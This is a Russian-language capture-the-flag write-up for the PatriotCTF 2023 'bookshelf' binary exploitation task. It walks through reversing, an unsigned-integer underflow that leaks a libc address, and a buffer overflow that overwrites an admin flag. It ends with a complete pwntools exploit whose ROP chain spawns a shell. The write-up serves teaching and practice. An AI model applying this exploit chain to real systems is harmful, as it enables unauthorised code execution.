Недавно прошел PatriotCTF 2023. Таски хорошие особенно для начинающих. На нем можно быть проверить свои навыки в разделах:

  1. PWN

  2. Reverse

  3. Forensics

  4. Crypto

  5. Web

  6. Stego

  7. OSINT

Зацепил меня таск по разделу PWN. Чтобы его решить необходимы знания в:

  1. Реверсе

  2. ROP-цепочках

  3. Базовых понятиях интов

  4. Знать что такое переполнение буффера

Это экзамен для начинающих, потому что в таске включены все базовые уязвимости и атаки, которые должен знать PWN-ер.

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий

Изучаем бинарный файл

Первичный анализ, по крайней мере у меня, начиинается так:

  1. file

  2. strings

  3. checksec

  4. xxd binary | grep "UPX"

  5. seccomp-tools

Вручную прописывать это не буду, потому что все это реализовано в программе J0llyTr0LLz.

Главное окно выглядит так:

Горячей клавишей Ctrl+O откроем файл и посмотрим, что он из себя представляет

По readelf в принципе ничего такого не видно. Просто эльфарь 64 разрядности и порядком байт little-end.

В file тоже ничего удивительного

Нет канарейки, отключена рандомизация адресов и бинарь не упакован UPX

Проверим, есть ли гаджеты по типу pop rax; ret или pop rsi; ret. Вдруг пригодятся. Ничего не нашли...

Теперь чекнем стоки нажав комбинацию Ctrl+S.

Проверю, есть ли seccomp. Они, обычно, отображаются в строках

Ничего особенного не нашли. Пойдем смотреть сервис.

Играем с сервисом

В главном окне отображается меню, в котором можно:

  1. Написать книгу

  2. Купить книгу

  3. Написать спецкнигу, только нужно быть админом

  4. Выйти

Попробуем купить книгу:

Ладно. Купили книгу и, наверное, осталось 75 баксов и тратить больше не можем. Так же нас просят какое-то пожертвование. Пока оставим этот пункт.

Попробуем написать книгу. Видимо, перед нами выбор или написать книгу или создать аудиокнигу

Ответим, например, нет( N ) и отправим какую-нибудь строчку

После игры с сервисом можно выделить только то, что необходимо попасть в пункт номер 3 - Write a special book (ADMINS ONLY) (0). Туда и будем стремиться попасть.

Реверс

Реверс программы будет осуществляться в IDA Pro. Начну реверс с функции, в которой покупаем книги. Все блоки похожи. Хватает денег - вычитается сумма, иначе сообщение You don't have enough cash!.

Посмотрим на глобальную переменную cash.

Видно, что это int. Может это unsigned int? Просто, если рассуждать именно так, то получается следующее: когда cash меньше 0, в нем будем содержаться самое большое значение

если cash < 0, то cash = 0xFFFFFFFF 0xFFFFFFFF = 4294967295

Вопрос теперь другой. Как дойти до этого? Насколько помню, была речь о пожертвовании. Прореверсим этот кусок кода

И тут можно увидеть, что нет проверки cash. Всегда будет отниматься 10 поинтов при пожертвовании. Проверим теперь теорию с беззнаковым целочисленным. Сразу попробуем автоматизировать это

for i in range(8):
io.recvuntil(b'4) Check out')
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')

Посмотрим результат выполнения

Настал момент, когда ушли в минус. Проверим баланс

Теория сработала! Это была переменная с типом данных - unsigned int. Теперь купим книжку

Как и ожидалось - получили утечку puts() из libc. Это означает, что можно получить базу libc, и дальше делать что угодно угодно.

База считается примерно так:

LEAK_FUNC_ADDR = LIBC_BASE + OFFSET

Значит, ищем смещение puts() в библиотеке и вычитаем это значение из утечки.

С этим разобрались. Теперь посмотрим, как получить доступ к админ панеле. Перед вызовом функции передается аргумент. Сразу переименовал его в uid

По умолчанию он равен 0

Однако, память утсроена так, что сначала идет какой-то буффер, потом выбор пункта меню и только после этого всего - uid. По смещениям можно сделать такие выводы:

  1. buf размером 43 байта

  2. choose размером 1 байт

  3. uid размером 4 байта

Значит нужно ввести как минимум 46 символов для переполнения.

То есть, если переполнить буффер, то можно перезаписать uid. Теперь вопрос: как переполнить буффер?

По перекрестным ссылкам можно найти это место в главной функции

Получается, что аргумент функции writeBook() - указатель на буффер.

В функции он передается еще одному массиву

Этот массив, [rbp+s] используется в самом конце. В него или добавляется вводимая нами строка или копируется

Ввод [rbp+src] ограничен 40 символами

И как тогда переполнить? Ответ прост. Нужно лишь пролистать листинг чуть выше

Здесь можно увидеть следующее. Если нажимаем y, то в массив [rbp+s] добавляется строка длиной 6 - (AB):

Картина будет следующая:

s = '(AB): '
s += 'A' * 40
len(s) = 46

После этого массив будет равен 46 символам, как нам и надо. Тут даже выдумывать ничего не нужно. Банально отправляем 40 символов и на вопрос про аудиокнигу отвечаем положительно

Как видим, uid изменился на значение 65, что по ASCII таблице означает A.

Теперь заглянем в админскую функцию

Просят что-то ввести. Просто попробуем отправить 256 каких-нибудь символов

Программа упала! Значит это и есть уязвимое место. Настало время писать эксплойт

Пишем эксплойт

Взглянув на память в IDA, можно понять, что для переполнения достаточно 64 символа. Поэтому размер мусорных данных для переполнения - 56 байтов, а все остальное полезная нагрузка.

Ранее была вычислена база libc, поэтому все функции, строки, гаджеты будем искать в приложенном файле - libc.so.6

Чтобы получить шелл, нужно выполнить такой системный вызов

execve("/bin/sh",0,0)

Посмотрим в J0llyTr0LLz таблицу системных вызовов, нажав на кнопку F1

  1. rax = 0x3b

  2. rdi = /bin/sh

  3. rsi = 0

  4. rdi = 0

Нужно найти 4 гаджета по типу

pop rax/rdi/rsi/rdx

ret

Со строкой /bin/sh проблем нет, потому что в любой библиотеке libc эта строка уже вшита. С syscall такая же история.

После поиска получил такие наброски:

SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)

Теперь осталось составить rop-цепочку

payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC

и отправить это программе

io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)

Теперь складываем все шаги и получаем такой эксплойт:

from pwn import *

exe = context.binary = ELF('./bookshelf')

def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.EDB:
return process(['edb','--run',exe.path] + argv, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

def live_richy():
io.sendline(b'2')
io.sendline(b'2')
io.sendline(b'y')

def leak_plt_puts_func():
tmp = str(io.recvuntil(b'rested'))
tmp = tmp[2:len(tmp)-1]
tmp = tmp.split("\n")[0].split(" ")
ret_val = int(tmp[len(tmp)-2][2:],16)
return ret_val

def get_admin():
junk = b'A'*40
io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')
io.sendline(b'1')
io.recvline()
io.sendline(b'y')
io.sendline(junk)

def get_shell(LIBC_BASE):
SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)
BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)
POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)
POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)
POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)
POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)
junk = b'A' * 56
payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC

io.recvuntil(b'4) Check out')
io.sendline(b'3')
io.sendline(junk + payload)

io = start()

leak_plt_puts = 0
for i in range(8):
io.recvuntil(b'4) Check out')
live_richy()

io.sendline(b'2')
io.sendline(b'3')

leak_plt_puts = leak_plt_puts_func()
LIBC_BASE = leak_plt_puts - 0x000000000080ED0
log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))
log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))
io.sendline()

get_admin()
get_shell(LIBC_BASE)

io.interactive()

После запуска получаем шелл

Комментарии (0)